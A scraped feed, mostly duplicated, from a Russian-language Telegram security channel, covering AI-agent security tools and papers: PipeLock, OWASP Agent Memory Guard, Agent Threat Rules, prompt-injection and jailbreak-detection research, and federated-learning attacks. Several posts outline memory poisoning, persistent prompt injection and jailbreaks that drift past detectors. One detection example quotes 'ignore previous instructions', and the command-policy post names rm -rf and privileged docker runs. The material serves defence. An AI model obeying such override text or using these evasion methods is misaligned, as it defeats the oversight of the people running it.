🧪 Эффективность скиллов
Недавние исследования показывали, что Skills далеко не всегда улучшают performance. Иногда агент начинает слишком упорно применять знакомый workflow и идет в неверную сторону.
Получается любопытная зависимость:
➖ слишком мало Skills → хаотичный reasoning
➖ слишком много Skills → procedural tunnel vision
Именно здесь сейчас проходит граница эффективности agentic security.
🔗 GitHub: https://github.com/mukul975/Anthropic-Cybersecurity-Skills
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #Claude #Anthropic #AgenticAI #Pentest #OffensiveSecurity #CyberSecurity #SecureTechTalks
Похоже, эпоха «универсальных» агентов начинает заканчиваться.
На GitHub появился репозиторий Anthropic Cybersecurity Skills, набор готовых procedural skills для offensive-security задач. Унифецировать operational workflow для агентов кибербезопасности становится проще.
Внутри набор специализированных "SKILL.md", заточенных под конкретные сценарии:
🔹 web exploitation
🔹 reconnaissance
🔹 reverse engineering
🔹 binary analysis
🔹 vulnerability research
🔹 CTF-style workflows
⚙️ Немного о сценариях
Skill ограничивает search space агента. Вместо хаотичного reasoning модель получает заранее определённую методологию выполнения.
Например, web-testing skill может задавать последовательность:
surface mapping → auth analysis → input tracing → state transitions → exploit hypothesis → validationReverse engineering skill уже будет толкать агента в сторону:
binary triage → symbols → strings → CFG → suspicious execution paths → patching/debuggingТо есть agent reasoning становится ближе к playbook-driven execution.
🧪 Эффективность скиллов
Недавние исследования показывали, что Skills далеко не всегда улучшают performance. Иногда агент начинает слишком упорно применять знакомый workflow и идет в неверную сторону.
Получается любопытная зависимость:
Именно здесь сейчас проходит граница эффективности agentic security.
🔗 GitHub: https://github.com/mukul975/Anthropic-Cybersecurity-Skills
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #Claude #Anthropic #AgenticAI #Pentest #OffensiveSecurity #CyberSecurity #SecureTechTalks
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
🧨 AI-агенту дали shell. Что теперь делать?
PipeLock - open-source execution proxy для AI-агентов. Инструмент встраивается между агентом и системой исполнения и начинает проверять каждую команду до того, как она попадёт в shell.
Сильной стороной проекта является уровень контроля. PipeLock анализирует уже финальную команду, после того как LLM её сгенерировала.
Технически процесс выглядит следующим образом:
система перехватывает shell invocation → парсит итоговую команду → раскладывает её на бинарник, флаги, аргументы и execution context → сравнивает с политиками.
Политики задаются декларативно и позволяют ограничивать:
🔹 какие бинарники вообще можно запускать (git, npm, docker)
🔹 какие флаги допустимы (--force, --privileged, rm -rf)
🔹 какие filesystem paths доступны
🔹 какие environment variables можно читать
🔹 какие команды требуют human approval
Например:
агенту можно разрешить docker build, но запретить docker run --privileged.
🧠 Отличие от песочниц
Большинство инструментов контроля безопасности работают либо до execution, либо после, как тотже SAST. PipeLock работает в точке принятия действия. То есть появляется новый слой безопасности, AI Action Governance для агентных систем.
🔗 GitHub: https://github.com/luckyPipewrench/pipelock
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #PromptInjection #DevSecOps #RuntimeSecurity #CyberSecurity #OpenSource #SecureTechTalks
PipeLock - open-source execution proxy для AI-агентов. Инструмент встраивается между агентом и системой исполнения и начинает проверять каждую команду до того, как она попадёт в shell.
Сильной стороной проекта является уровень контроля. PipeLock анализирует уже финальную команду, после того как LLM её сгенерировала.
Технически процесс выглядит следующим образом:
система перехватывает shell invocation → парсит итоговую команду → раскладывает её на бинарник, флаги, аргументы и execution context → сравнивает с политиками.
Политики задаются декларативно и позволяют ограничивать:
🔹 какие бинарники вообще можно запускать (git, npm, docker)
🔹 какие флаги допустимы (--force, --privileged, rm -rf)
🔹 какие filesystem paths доступны
🔹 какие environment variables можно читать
🔹 какие команды требуют human approval
Например:
агенту можно разрешить docker build, но запретить docker run --privileged.
🧠 Отличие от песочниц
Большинство инструментов контроля безопасности работают либо до execution, либо после, как тотже SAST. PipeLock работает в точке принятия действия. То есть появляется новый слой безопасности, AI Action Governance для агентных систем.
🔗 GitHub: https://github.com/luckyPipewrench/pipelock
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #PromptInjection #DevSecOps #RuntimeSecurity #CyberSecurity #OpenSource #SecureTechTalks
🧠 OWASP взялись за безопасность памяти AI-агентов.
OWASP запустили Agent Memory Guard, проект посвящённый безопасности памяти AI-агентов.
Большинство memory-систем работают примерно одинаково:
контекст → embedding → векторная база данных → извлечение → обратная подача в prompt.
Безопасность в таком подходе почти отсутствует.
Например:
вредоносный документ → загрузка через RAG → преобразование в embedding → сохранение в памяти → извлечение в следующей сессии → агент начинает воспринимать вредоносную инструкцию как доверенный исторический контекст. Prompt injection внезапно становится постоянным. Один удачный payload способен пережить перезапуск процесса и начать влиять на дальнейшее reasoning агента.
🔬 Решение OWASP
Проект пока больше похож на модель угроз + набор практик безопасности, чем на готовый продукт. Но внутри уже есть довольно интересная систематизация рисков.
1⃣ Отравление памяти
Атакующий загрязняет слой памяти.
Например:
скрытые инструкции попадают в память поиска и позже начинают влиять на принятие решений агентом.
OWASP предлагают вводить:
🔹 оценку доверия к источникам
🔹 проверку данных перед сохранением
🔹 метаданные происхождения информации
🔹 классификацию содержимого перед записью
2⃣ Изоляция памяти
Для мультиагентных систем появляется другая проблема: заражение между агентами.
Если несколько агентов используют общее хранилище памяти, компрометация одного агента начинает влиять на остальных.
OWASP предлагают:
🔹 изоляцию пространств памяти
🔹 ограничение доступа к контексту
🔹 отдельные границы памяти для каждого агента
🔹 сегментацию памяти по принципу Zero Trust
3⃣ Управление жизненным циклом памяти
Самая практичная часть проекта. OWASP отдельно подчёркивают:
память не должна жить вечно.
Рекомендуются:
🔹 время жизни записей (TTL)
🔹 автоматическое устаревание памяти
🔹 снижение уровня доверия со временем
🔹 механизмы отзыва контекста
🔹 периодическая повторная проверка
🔗 GitHub: https://github.com/OWASP/www-project-agent-memory-guard
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #OWASP #AgenticAI #PromptInjection #AppSec #CyberSecurity #AIsecurity #SecureTechTalks
OWASP запустили Agent Memory Guard, проект посвящённый безопасности памяти AI-агентов.
Большинство memory-систем работают примерно одинаково:
контекст → embedding → векторная база данных → извлечение → обратная подача в prompt.
Безопасность в таком подходе почти отсутствует.
Например:
вредоносный документ → загрузка через RAG → преобразование в embedding → сохранение в памяти → извлечение в следующей сессии → агент начинает воспринимать вредоносную инструкцию как доверенный исторический контекст. Prompt injection внезапно становится постоянным. Один удачный payload способен пережить перезапуск процесса и начать влиять на дальнейшее reasoning агента.
🔬 Решение OWASP
Проект пока больше похож на модель угроз + набор практик безопасности, чем на готовый продукт. Но внутри уже есть довольно интересная систематизация рисков.
1⃣ Отравление памяти
Атакующий загрязняет слой памяти.
Например:
скрытые инструкции попадают в память поиска и позже начинают влиять на принятие решений агентом.
OWASP предлагают вводить:
🔹 оценку доверия к источникам
🔹 проверку данных перед сохранением
🔹 метаданные происхождения информации
🔹 классификацию содержимого перед записью
2⃣ Изоляция памяти
Для мультиагентных систем появляется другая проблема: заражение между агентами.
Если несколько агентов используют общее хранилище памяти, компрометация одного агента начинает влиять на остальных.
OWASP предлагают:
🔹 изоляцию пространств памяти
🔹 ограничение доступа к контексту
🔹 отдельные границы памяти для каждого агента
🔹 сегментацию памяти по принципу Zero Trust
3⃣ Управление жизненным циклом памяти
Самая практичная часть проекта. OWASP отдельно подчёркивают:
память не должна жить вечно.
Рекомендуются:
🔹 время жизни записей (TTL)
🔹 автоматическое устаревание памяти
🔹 снижение уровня доверия со временем
🔹 механизмы отзыва контекста
🔹 периодическая повторная проверка
🔗 GitHub: https://github.com/OWASP/www-project-agent-memory-guard
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #OWASP #AgenticAI #PromptInjection #AppSec #CyberSecurity #AIsecurity #SecureTechTalks
👍1
🧠 AI-агенты начали автоматизировать научные исследования
На arXiv вышла работа AutoSci: агентская система, которая пытается автоматизировать полный research pipeline:
🔹 поиск литературы
🔹 генерация гипотез
🔹 постановка экспериментов
🔹 запуск вычислений
🔹 анализ результатов
🔹 написание статьи
Агент работает как stateful execution system, где исследование разбивается на этапы через orchestration layer SciFlow.
Каждая стадия получает свой контекст, скиллы и execution logic.
⚙️ Главная фишка
Самая сильная часть архитектуры - это память, SciMem.
Система хранит не документы целиком, а сущности:
🔹 статьи
🔹 методы
🔹 гипотезы
🔹 эксперименты
🔹 результаты
Всё живёт как state machine:
➖ «гипотеза → тестирование → подтверждение / отклонение»
➖ «эксперимент → запуск → результат → переоценка»
Получается persistent reasoning layer, где агент не забывает прошлые попытки и может строить итеративные workflow.
🔬 А как защищаются от галлюцинаций?
Авторы отдельно добавили Trust Guard для валидации памяти. Перед записью знание проверяется на происхождение источника, связи с текущими знаниями и на соответствие schema.
Таким отразом пытаются решить проблему долго работающих агентов с отравлением памяти и накопление ложных выводов после сотен шагов рассуждений.
🧪 Это работает?
В одном из экспериментов агент самостоятельно оптимизировал GPU kernel и получил 1.52× ускорение относительно исходника.
Стоит отметить, что во всех кейсах система сохраняла не только успехи, но и провалы, используя их как отрицательное знание для следующих итераций.
🔗 Исследование: https://arxiv.org/abs/2605.31468
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #AIsecurity #CyberSecurity #RAG #MemorySecurity #ResearchAgents #SecureTechTalks
На arXiv вышла работа AutoSci: агентская система, которая пытается автоматизировать полный research pipeline:
🔹 поиск литературы
🔹 генерация гипотез
🔹 постановка экспериментов
🔹 запуск вычислений
🔹 анализ результатов
🔹 написание статьи
Агент работает как stateful execution system, где исследование разбивается на этапы через orchestration layer SciFlow.
Каждая стадия получает свой контекст, скиллы и execution logic.
⚙️ Главная фишка
Самая сильная часть архитектуры - это память, SciMem.
Система хранит не документы целиком, а сущности:
🔹 статьи
🔹 методы
🔹 гипотезы
🔹 эксперименты
🔹 результаты
Всё живёт как state machine:
Получается persistent reasoning layer, где агент не забывает прошлые попытки и может строить итеративные workflow.
🔬 А как защищаются от галлюцинаций?
Авторы отдельно добавили Trust Guard для валидации памяти. Перед записью знание проверяется на происхождение источника, связи с текущими знаниями и на соответствие schema.
Таким отразом пытаются решить проблему долго работающих агентов с отравлением памяти и накопление ложных выводов после сотен шагов рассуждений.
🧪 Это работает?
В одном из экспериментов агент самостоятельно оптимизировал GPU kernel и получил 1.52× ускорение относительно исходника.
Стоит отметить, что во всех кейсах система сохраняла не только успехи, но и провалы, используя их как отрицательное знание для следующих итераций.
🔗 Исследование: https://arxiv.org/abs/2605.31468
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #AIsecurity #CyberSecurity #RAG #MemorySecurity #ResearchAgents #SecureTechTalks
Please open Telegram to view this post
VIEW IN TELEGRAM
❤1👍1
🧠 Для AI-агентов начали писать правила обнаружения угроз.
На GitHub появился Agent Threat Rules, open-source проект, который стандартизирует обнаружение атак на агентские системы.
⚙️ А это вообще нужно?
Телеметрия безопасности современных AI-агентов хаотична.
Есть:
🔹 вызовы инструментов
🔹 доступ к памяти
🔹 прохождение prompt’ов
🔹 ответы модели
🔹 взаимодействие между агентами
🔹 обращения к RAG
Но почти нет нормального уровня обнаружения угроз.
Agent Threat Rules предлагает фреймворк обнаружения угроз, где сценарии атак описываются в виде машиночитаемых правил. Подход похож на detection engineering в SOC:
💥 сигнал → условие → индикаторы → критичность → контекст защиты
🔬 Что ищем?
Правила построены вокруг угроз, характерных именно для агентов, а не классических индикаторов компрометации.
1⃣ Prompt injection
Правила пытаются замечать:
🔹 попытки переопределить системные инструкции
🔹 перехват поведения агента
🔹 скрытую смену логики работы
🔹 попытки заставить модель игнорировать политики
Например:
Но обнаружение строится не только на ключевых словах, часто анализируется последовательность действий: подозрительный prompt → неожиданный вызов инструмента → повышение привилегий.
2⃣ Небезопасное использование инструментов
Агент внезапно начинает:
🔹 вызывать нетипичные инструменты
🔹 менять привычный сценарий выполнения
🔹 обращаться к чувствительным API
🔹 выполнять необычные файловые операции
Например, RAG-агент неожиданно вызывает shell или почтовый агент начинает работать с файловой системой. То есть появляется поведенческое обнаружение угроз для агентов.
3⃣ Отравление памяти
Отдельный класс правил посвящён памяти агента. Система пытается обнаруживать:
🔹 подозрительные записи в память
🔹 загрязнение между сессиями
🔹 сохранение вредоносного prompt’а
🔹 аномалии при извлечении знаний
🔗 GitHub: https://github.com/Agent-Threat-Rule/agent-threat-rules
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #PromptInjection #ThreatDetection #SOC #CyberSecurity #OpenSource #SecureTechTalks
На GitHub появился Agent Threat Rules, open-source проект, который стандартизирует обнаружение атак на агентские системы.
⚙️ А это вообще нужно?
Телеметрия безопасности современных AI-агентов хаотична.
Есть:
🔹 вызовы инструментов
🔹 доступ к памяти
🔹 прохождение prompt’ов
🔹 ответы модели
🔹 взаимодействие между агентами
🔹 обращения к RAG
Но почти нет нормального уровня обнаружения угроз.
Agent Threat Rules предлагает фреймворк обнаружения угроз, где сценарии атак описываются в виде машиночитаемых правил. Подход похож на detection engineering в SOC:
🔬 Что ищем?
Правила построены вокруг угроз, характерных именно для агентов, а не классических индикаторов компрометации.
1⃣ Prompt injection
Правила пытаются замечать:
🔹 попытки переопределить системные инструкции
🔹 перехват поведения агента
🔹 скрытую смену логики работы
🔹 попытки заставить модель игнорировать политики
Например:
игнорируй предыдущие инструкции»
скрытые цепочки prompt’ов
путаница ролей
Но обнаружение строится не только на ключевых словах, часто анализируется последовательность действий: подозрительный prompt → неожиданный вызов инструмента → повышение привилегий.
2⃣ Небезопасное использование инструментов
Агент внезапно начинает:
🔹 вызывать нетипичные инструменты
🔹 менять привычный сценарий выполнения
🔹 обращаться к чувствительным API
🔹 выполнять необычные файловые операции
Например, RAG-агент неожиданно вызывает shell или почтовый агент начинает работать с файловой системой. То есть появляется поведенческое обнаружение угроз для агентов.
3⃣ Отравление памяти
Отдельный класс правил посвящён памяти агента. Система пытается обнаруживать:
🔹 подозрительные записи в память
🔹 загрязнение между сессиями
🔹 сохранение вредоносного prompt’а
🔹 аномалии при извлечении знаний
🔗 GitHub: https://github.com/Agent-Threat-Rule/agent-threat-rules
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #PromptInjection #ThreatDetection #SOC #CyberSecurity #OpenSource #SecureTechTalks
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
📞 Android учится распознавать телефонных мошенников во время звонка
В Android начали разворачивать функцию Scam Detection.
Система анализирует паттерны разговора в реальном времени и пытается заметить признаки телефонного мошенничества:
🔹 просьбы срочно перевести деньги
🔹 требования сообщить PIN, пароль или OTP
🔹 давление в стиле «действуйте немедленно»
🔹 попытки заставить установить приложение
🔹 просьбы отключить защиту устройства
Если разговор начинает напоминать известные fraud-сценарии, то Android показывает live warning прямо во время вызова.
🧠 Техническая сторона
Google заявляют, что обработка выполняется через on-device ML inference, без отправки аудио в облако, т.е. анализ идёт локально на устройстве.
Аудиопоток преобразуется в speech-to-text, производится анализ контекста и классификация риска. Далее направляется предупреждение пользователю.
Android начинает работать как runtime detection system для голосового фишинга. Модель смотрит не на отдельные слова, а на поведенческий контекст разговора.
Например:
««назовите код из SMS» + «не кладите трубку» + «срочность»»
вместе становятся сильным индикатором мошенничества.
🧪 И чего тут особенного?
Исторически защита строилась вокруг:
🔹 spam filtering
🔹 caller reputation
🔹 блокировки номеров
Но современный вишинг давно обходит эти меры. Номер может быть новым, голос сгенерированным, а
легенда адаптированной под жертву.
Android впервые начинает анализировать само содержание атаки, а не только её источник.
Stay secure and read SecureTechTalks 📚
#кибербезопасность #Android #FraudDetection #SocialEngineering #Deepfake #CyberSecurity #Infosec #ScamDetection #MobileSecurity #SecureTechTalks
В Android начали разворачивать функцию Scam Detection.
Система анализирует паттерны разговора в реальном времени и пытается заметить признаки телефонного мошенничества:
🔹 просьбы срочно перевести деньги
🔹 требования сообщить PIN, пароль или OTP
🔹 давление в стиле «действуйте немедленно»
🔹 попытки заставить установить приложение
🔹 просьбы отключить защиту устройства
Если разговор начинает напоминать известные fraud-сценарии, то Android показывает live warning прямо во время вызова.
🧠 Техническая сторона
Google заявляют, что обработка выполняется через on-device ML inference, без отправки аудио в облако, т.е. анализ идёт локально на устройстве.
Аудиопоток преобразуется в speech-to-text, производится анализ контекста и классификация риска. Далее направляется предупреждение пользователю.
Android начинает работать как runtime detection system для голосового фишинга. Модель смотрит не на отдельные слова, а на поведенческий контекст разговора.
Например:
««назовите код из SMS» + «не кладите трубку» + «срочность»»
вместе становятся сильным индикатором мошенничества.
🧪 И чего тут особенного?
Исторически защита строилась вокруг:
🔹 spam filtering
🔹 caller reputation
🔹 блокировки номеров
Но современный вишинг давно обходит эти меры. Номер может быть новым, голос сгенерированным, а
легенда адаптированной под жертву.
Android впервые начинает анализировать само содержание атаки, а не только её источник.
Stay secure and read SecureTechTalks 📚
#кибербезопасность #Android #FraudDetection #SocialEngineering #Deepfake #CyberSecurity #Infosec #ScamDetection #MobileSecurity #SecureTechTalks
❤2👍1
🧨 Prompt injection наконец-то начали измерять как нормальную уязвимость
На arXiv вышла работа, где исследователи решили собрать benchmark для атак на AI-агентов и системно проверить, что реально помогает против prompt injection.
⚙️ 847 способов сломать агента
Авторы собрали 847 adversarial test cases для RAG-агентов и разбили атаки на несколько категорий:
🔹 прямой prompt injection
🔹 подмена контекста
🔹 override инструкций
🔹 эксфильтрация данных
🔹 «загрязнение» контекста между сессиями
Далее все прогоняли через реалистичные сценарии, например: вредоносный документ → попадание в RAG → извлечение в prompt → изменение поведения агента → вызов инструментов.
🧠 Что же помогает?
Исследователи протестировали несколько уровней защиты сразу:
1⃣ Фильтрация содержимого
Система анализирует входной контент и пытается обнаружить аномалии через embedding-based detection, чтобы замечать подозрительные инструкции ещё до попадания в reasoning pipeline.
2⃣ Иерархические системные инструкции
Вместо одного system prompt используются несколько уровней ограничений, где критичные политики сложнее переопределить.
3⃣ Многоэтапная проверка ответа
Перед выполнением действия агент проходит дополнительную verification stage:
➖ безопасно ли действие?
➖ нарушаются ли политики?
➖ нет ли признаков injection?
📉 К результатам
Без защиты успешность атак доходила до 73.2%. Комбинация нескольких механизмов снизила показатель до 8.7%, при этом сохранив 94.3% исходной функциональности модели.
Большинство защит AI обычно работают по принципу «стало безопаснее, но пользоваться невозможно.». Тут все иначе, что не может не радовать.
🔗 Исследование: https://arxiv.org/abs/2511.15759
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #PromptInjection #AgenticAI #RAG #AIsecurity #CyberSecurity #AppSec #SecureTechTalks
На arXiv вышла работа, где исследователи решили собрать benchmark для атак на AI-агентов и системно проверить, что реально помогает против prompt injection.
⚙️ 847 способов сломать агента
Авторы собрали 847 adversarial test cases для RAG-агентов и разбили атаки на несколько категорий:
🔹 прямой prompt injection
🔹 подмена контекста
🔹 override инструкций
🔹 эксфильтрация данных
🔹 «загрязнение» контекста между сессиями
Далее все прогоняли через реалистичные сценарии, например: вредоносный документ → попадание в RAG → извлечение в prompt → изменение поведения агента → вызов инструментов.
🧠 Что же помогает?
Исследователи протестировали несколько уровней защиты сразу:
1⃣ Фильтрация содержимого
Система анализирует входной контент и пытается обнаружить аномалии через embedding-based detection, чтобы замечать подозрительные инструкции ещё до попадания в reasoning pipeline.
2⃣ Иерархические системные инструкции
Вместо одного system prompt используются несколько уровней ограничений, где критичные политики сложнее переопределить.
3⃣ Многоэтапная проверка ответа
Перед выполнением действия агент проходит дополнительную verification stage:
📉 К результатам
Без защиты успешность атак доходила до 73.2%. Комбинация нескольких механизмов снизила показатель до 8.7%, при этом сохранив 94.3% исходной функциональности модели.
Большинство защит AI обычно работают по принципу «стало безопаснее, но пользоваться невозможно.». Тут все иначе, что не может не радовать.
🔗 Исследование: https://arxiv.org/abs/2511.15759
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #PromptInjection #AgenticAI #RAG #AIsecurity #CyberSecurity #AppSec #SecureTechTalks
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
🛡️ Jailbreak начали ловить по поведению модели
Большинство защит LLM работают довольно прямолинейно:
🔹 анализируют prompt
🔹 ищут подозрительные шаблоны
🔹 смотрят на внутренние представления модели
🔹 пытаются вычислить «опасное» пространство признаков
Однако вполне легитимный запрос вроде: «объясни, как работает анализ вредоносного ПО» фиксируется, как подозрительный просто из-за словаря, а реально вредоносный промпт успешно выполняется.
⚙️ Анализ движения внутри модели
В новой работе Manifold Trajectory Kinetics (MTK) исследователи предлагают сформироваться на том, как запрос эволюционирует внутри модели.
Технически MTK отслеживает динамику траектории между слоями трансформера. Нормальный запрос обычно остаётся рядом с другими безопасными примерами на протяжении всех вычислений модели.
А вот jailbreak-запрос часто стартует рядом с вредоносными примерами, но затем начинает «маскироваться» и постепенно смещается ближе к безопасной области, пытаясь обмануть систему защиты.
🧪 Цифры
На псевдо-вредоносных сценариях система показала:
🔹 95% обнаружения jailbreak-атак
🔹 5% ложных срабатываний для обычных запросов
🔹 всего 2% ложных срабатываний на tricky-сценариях с безопасным намерением
Также MTK неплохо переживает адаптивные атаки. Когда атакующий специально оптимизирует jailbreak под обход детектора, успешность обнаружения всё ещё держится около 85%.
Для защиты от jailbreak это очень сильный результат.
🧠 Похоже, защита от jailbreak постепенно эволюционирует из фильтрации ключевых слов в полноценную телеметрию поведения LLM во время рассуждений.
🔗 Исследование: https://arxiv.org/abs/2606.07335
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #Jailbreak #PromptInjection #AIsecurity #CyberSecurity #USENIX #AdversarialAI #SecureTechTalks
Большинство защит LLM работают довольно прямолинейно:
🔹 анализируют prompt
🔹 ищут подозрительные шаблоны
🔹 смотрят на внутренние представления модели
🔹 пытаются вычислить «опасное» пространство признаков
Однако вполне легитимный запрос вроде: «объясни, как работает анализ вредоносного ПО» фиксируется, как подозрительный просто из-за словаря, а реально вредоносный промпт успешно выполняется.
⚙️ Анализ движения внутри модели
В новой работе Manifold Trajectory Kinetics (MTK) исследователи предлагают сформироваться на том, как запрос эволюционирует внутри модели.
Технически MTK отслеживает динамику траектории между слоями трансформера. Нормальный запрос обычно остаётся рядом с другими безопасными примерами на протяжении всех вычислений модели.
А вот jailbreak-запрос часто стартует рядом с вредоносными примерами, но затем начинает «маскироваться» и постепенно смещается ближе к безопасной области, пытаясь обмануть систему защиты.
🧪 Цифры
На псевдо-вредоносных сценариях система показала:
🔹 95% обнаружения jailbreak-атак
🔹 5% ложных срабатываний для обычных запросов
🔹 всего 2% ложных срабатываний на tricky-сценариях с безопасным намерением
Также MTK неплохо переживает адаптивные атаки. Когда атакующий специально оптимизирует jailbreak под обход детектора, успешность обнаружения всё ещё держится около 85%.
Для защиты от jailbreak это очень сильный результат.
🧠 Похоже, защита от jailbreak постепенно эволюционирует из фильтрации ключевых слов в полноценную телеметрию поведения LLM во время рассуждений.
🔗 Исследование: https://arxiv.org/abs/2606.07335
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #Jailbreak #PromptInjection #AIsecurity #CyberSecurity #USENIX #AdversarialAI #SecureTechTalks
👍1
🧠 Федеративное обучение: AI учится на данных, которых никогда не видел
Федеративное обучение всё чаще рассматривают для задач ИБ:
🔹 обнаружение атак
🔹 антифрод
🔹 анализ телеметрии SOC
🔹 поиск аномалий
Компании не готовы делиться сырыми логами, сетевым трафиком и инцидентами. Вместо централизации данных модель обучается распределённо.
⚙️ Как работает федеративное обучение?
Типовая схема выглядит следующим образом:
1⃣ сервер рассылает базовую модель
2⃣ участники обучают её локально на своей телеметрии;
3⃣ наружу уходят только обновления весов, эмбединги и параметры обучения;
4⃣ сервер объединяет изменения (обычно через усреднение данных) и формирует новую глобальную модель.
Цикл повторяется множество раз. Данные инфраструктуру не покидают.
🧨 Поверхность атак
Федеративное обучение создаёт отдельную поверхность атак в виде самого процесса обучения.
1⃣ Отравление обучения
Скомпрометированный участник начинает отправлять вредоносные обновления, чтобы ухудшить обнаружение конкретных угроз или сместить поведение модели.
2⃣ Скрытые закладки
В модель встраивается скрытый триггер. Например, система обнаружения атак начинает пропускать вредоносный трафик только при определённой сетевой сигнатуре.
3⃣ Утечка через обновления модели
Даже без доступа к исходным данным иногда можно частично восстановить свойства обучающих примеров через анализ эмбеддингов.
То есть:
🛡️ Защита подхода FL
Лучшая практика защищать не только модель, но и весь цикл обучения. Обычно используют комбинацию мер:
🔹 Безопасная агрегация Сервер видит только итоговый результат объединения, а не вклад конкретной организации. Это снижает риск утечки через отдельные обновления.
🔹 Дифференциальная приватность
В обновления добавляется контролируемый шум, чтобы усложнить восстановление исходных данных по параметрам модели.
🔹 Фильтрация аномалий Система ищет подозрительные обновления: резкие отклонения весов, необычные градиенты или клиентов, чьё влияние слишком сильно отличается от остальных.
🔗 Исследование: https://arxiv.org/abs/2602.16480
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #MachineLearning #FederatedLearning #Privacy #CyberSecurity #SOC #AIsecurity #ThreatDetection #SecureTechTalks
Федеративное обучение всё чаще рассматривают для задач ИБ:
🔹 обнаружение атак
🔹 антифрод
🔹 анализ телеметрии SOC
🔹 поиск аномалий
Компании не готовы делиться сырыми логами, сетевым трафиком и инцидентами. Вместо централизации данных модель обучается распределённо.
⚙️ Как работает федеративное обучение?
Типовая схема выглядит следующим образом:
1⃣ сервер рассылает базовую модель
2⃣ участники обучают её локально на своей телеметрии;
3⃣ наружу уходят только обновления весов, эмбединги и параметры обучения;
4⃣ сервер объединяет изменения (обычно через усреднение данных) и формирует новую глобальную модель.
Цикл повторяется множество раз. Данные инфраструктуру не покидают.
🧨 Поверхность атак
Федеративное обучение создаёт отдельную поверхность атак в виде самого процесса обучения.
1⃣ Отравление обучения
Скомпрометированный участник начинает отправлять вредоносные обновления, чтобы ухудшить обнаружение конкретных угроз или сместить поведение модели.
2⃣ Скрытые закладки
В модель встраивается скрытый триггер. Например, система обнаружения атак начинает пропускать вредоносный трафик только при определённой сетевой сигнатуре.
3⃣ Утечка через обновления модели
Даже без доступа к исходным данным иногда можно частично восстановить свойства обучающих примеров через анализ эмбеддингов.
То есть:
🛡️ Защита подхода FL
Лучшая практика защищать не только модель, но и весь цикл обучения. Обычно используют комбинацию мер:
🔹 Безопасная агрегация Сервер видит только итоговый результат объединения, а не вклад конкретной организации. Это снижает риск утечки через отдельные обновления.
🔹 Дифференциальная приватность
В обновления добавляется контролируемый шум, чтобы усложнить восстановление исходных данных по параметрам модели.
🔹 Фильтрация аномалий Система ищет подозрительные обновления: резкие отклонения весов, необычные градиенты или клиентов, чьё влияние слишком сильно отличается от остальных.
🔗 Исследование: https://arxiv.org/abs/2602.16480
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #MachineLearning #FederatedLearning #Privacy #CyberSecurity #SOC #AIsecurity #ThreatDetection #SecureTechTalks
👍2
🚀 Какие классы open-source security-инструментов сейчас растут быстрее всего?
Рынок безопасности сейчас довольно быстро меняется, что хорошо видно по GitHub, OWASP, Black Hat. AI начал писать код, облака усложнились, а классический security stack перестал успевать.
⚙️ Безопасность AI и LLM
Самый быстрорастущий сегмент. Появляется новый класс инструментов, которые помогают защищать AI-системы.
Растут:
🔹 red teaming для LLM
🔹 тестирование prompt injection
🔹 защита AI-агентов
🔹 контроль вызова инструментов
🔹 аудит памяти, RAG и reasoning-цепочек
Еще год назад все это выглядело как research playground, а уже сегодня появляется полноценный AI AppSec stack.
Например: Promptfoo, PipeLock, OWASP Agent Memory Guard.
☁️ Runtime-безопасность облаков
Раньше защиту строили по принципу просканировали контейнер → нашли CVE → устранили и живём спокойно. Теперь этого недостаточно.
Активно растут:
🔹 eBPF-телеметрия
🔹 обнаружение поведения контейнеров
🔹 runtime-защита Kubernetes
🔹 наблюдение за облачными workload
Фокус смещается на остановку атак в момент выполнения.
🧠 Unified AppSec
Рынок начинает двигаться в сторону единого слоя корреляции рисков, где findings связываются через контекст приложения, эксплуатации и бизнес-критичности.
🤖 Безопасность AI-агентов
Самый интересный тренд.
AI-агенту дали:
🔹 shell
🔹 MCP/tools
🔹 API
🔹 память
🔹 доступ к инфраструктуре
Однако агента тоже нужно защищать как production-систему. Поэтому появляются:
🔹 контроль действий агентов
🔹 ограничения команд
🔹 защита памяти
🔹 аудит инструментов
🔹 политика выполнения действий
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #AppSec #OpenSource #CyberSecurity #CloudSecurity #LLM #AgenticAI #DevSecOps #SecureTechTalks
Рынок безопасности сейчас довольно быстро меняется, что хорошо видно по GitHub, OWASP, Black Hat. AI начал писать код, облака усложнились, а классический security stack перестал успевать.
⚙️ Безопасность AI и LLM
Самый быстрорастущий сегмент. Появляется новый класс инструментов, которые помогают защищать AI-системы.
Растут:
🔹 red teaming для LLM
🔹 тестирование prompt injection
🔹 защита AI-агентов
🔹 контроль вызова инструментов
🔹 аудит памяти, RAG и reasoning-цепочек
Еще год назад все это выглядело как research playground, а уже сегодня появляется полноценный AI AppSec stack.
Например: Promptfoo, PipeLock, OWASP Agent Memory Guard.
☁️ Runtime-безопасность облаков
Раньше защиту строили по принципу просканировали контейнер → нашли CVE → устранили и живём спокойно. Теперь этого недостаточно.
Активно растут:
🔹 eBPF-телеметрия
🔹 обнаружение поведения контейнеров
🔹 runtime-защита Kubernetes
🔹 наблюдение за облачными workload
Фокус смещается на остановку атак в момент выполнения.
🧠 Unified AppSec
Рынок начинает двигаться в сторону единого слоя корреляции рисков, где findings связываются через контекст приложения, эксплуатации и бизнес-критичности.
🤖 Безопасность AI-агентов
Самый интересный тренд.
AI-агенту дали:
🔹 shell
🔹 MCP/tools
🔹 API
🔹 память
🔹 доступ к инфраструктуре
Однако агента тоже нужно защищать как production-систему. Поэтому появляются:
🔹 контроль действий агентов
